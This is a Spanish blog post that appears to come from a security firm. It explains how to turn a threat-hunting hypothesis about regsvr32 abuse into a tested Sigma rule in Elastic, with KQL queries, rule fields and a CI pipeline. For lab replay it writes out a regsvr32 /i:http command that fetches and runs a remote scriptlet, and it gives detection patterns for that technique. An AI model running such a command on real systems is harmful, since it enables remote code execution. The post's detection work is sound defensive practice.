Threat Hunting con Sigma y Elastic: Del Indicador a la Regla de Deteccion
Como convertir hipotesis de ataque en reglas Sigma probadas en Elastic, con un pipeline de validacion reproducible en laboratorio.
El threat hunting no es mirar dashboards bonitos esperando que algo parpadee en rojo. Empieza con una hipotesis fea, escrita a mano: 'un atacante uso rundll32 para cargar una DLL fuera de C:\Windows'. En Basilisk OffSec tratamos cada caceria como un pequeno experimento cientifico: hipotesis, datos recolectados, query, falsacion. El resultado final, cuando vale la pena, se convierte en una regla Sigma versionada en Git. Este post muestra el ciclo completo que ejecutamos contra un lab Windows 11 con Sysmon 15 y Elastic 8.13, desde un indicador crudo hasta una deteccion con tasa de falso positivo medida.
Antes de escribir cualquier regla necesitamos ver telemetria real. Montamos un lab con tres VMs: Windows 11 con Sysmon (config SwiftOnSecurity modificada), un Domain Controller minimo siguiendo nuestro Pentest de Active Directory: Kerberoasting Paso a Paso en Lab GOAD, y un Elastic single-node con Fleet. Para generar comportamiento malicioso controlado usamos Caldera con TTPs de ATT&CK, como detallamos en Adversary Emulation con Caldera y MITRE ATT&CK en Laboratorio Corporativo. Cada ejecucion produce cerca de 4 mil eventos por minuto, suficiente para descubrir que tu 'regla precisa' en realidad tiene ruido absurdo cuando el usuario abre Teams.
La hipotesis de este ejemplo nacio de un reporte publico: el grupo APT29 uso regsvr32 con /s /u /i y URL HTTP para descargar payload. Antes de convertirla en Sigma, la validamos en Discover de Elastic con KQL: process.name:regsvr32.exe and process.command_line:(*\/i\:http* or *\/i\:\\\\*). Encontramos 12 hits en 7 dias, todos legitimos (instaladores corporativos). Este es el momento que separa al hunter del generador de alertas inutiles: enriquecer con process.parent.name y file.signature.signed. Tecnicas relacionadas de abuso de binarios firmados aparecen en nuestro Hunting de Living-off-the-Land Binaries en Windows con KQL, lectura obligatoria antes de continuar.
Con la query refinada, traducimos a Sigma YAML. La regla quedo con title, status experimental, logsource category process_creation y product windows, detection con selection_img (Image endswith \regsvr32.exe), selection_cli (CommandLine contains all: ['/i:', '://']) y filter_signed (Signed: true) en la condition selection_img and selection_cli and not filter_signed. Convertimos con sigma convert -t lucene -p ecs_windows regla.yml y obtenemos la query Elastic lista. Este flujo es el mismo que usamos en el ciclo descrito en Purple Team en la Practica: Construyendo Ciclo de Feedback Red vs Blue, donde Red entrega TTPs y Blue devuelve coverage.
Probar una regla Sigma sin replay es fe ciega. Generamos eventos reales ejecutando regsvr32 /s /u /i:http://10.10.0.5/payload.sct scrobj.dll dentro del lab, capturamos con Winlogbeat y medimos: tiempo hasta alerta en Elastic Security fue 14 segundos, con cero falso positivo en 72 horas de baseline. Al mover a produccion simulada (200 endpoints), aparecio 1 FP por dia desde un update de McAfee usando /i: con path local. Ajustamos el filter para excluir CommandLine que contenga C:\Program Files. Este tipo de iteracion tambien aparece en movimiento lateral, abordado en Movimiento Lateral en Lab: SMB, WMI y WinRM con Foco en Deteccion.
La documentacion mata las reglas huerfanas. Cada Sigma en nuestro repo tiene campos custom: hypothesis, datasource_required, attack_id (T1218.010), false_positive_rate_observed, last_tested, y link al pcap/EVTX usado en el test. Versionamos en GitLab con un pipeline que corre sigma check, luego sigma convert para Elastic, Splunk y Chronicle, y publica via API de Kibana usando detection_engine/rules/_import. Si falla la conversion, el pipeline rompe. Esta disciplina es lo que separa un SOC que evoluciona de uno que colecciona PDFs. Para visibilidad complementaria de DFIR rapido tras un hit, recomendamos el enfoque en DFIR en Linux: Triaje en Vivo con UAC y Velociraptor adaptado a Windows con KAPE.
El takeaway practico: no escribas Sigma para indicadores que nunca has visto en tus datos. Empieza siempre corriendo el TTP en tu lab, cuenta los eventos generados, cuenta los eventos legitimos parecidos, y solo entonces escribe la regla. Meta interna en Basilisk: ninguna regla entra a produccion sin 7 dias de baseline y tasa de FP medida bajo 1 por cada 10 mil eventos de la fuente. Empieza manana con una hipotesis chica, una query y un YAML. En tres meses tendras 30 detecciones que funcionan, en vez de 300 que solo generan fatiga.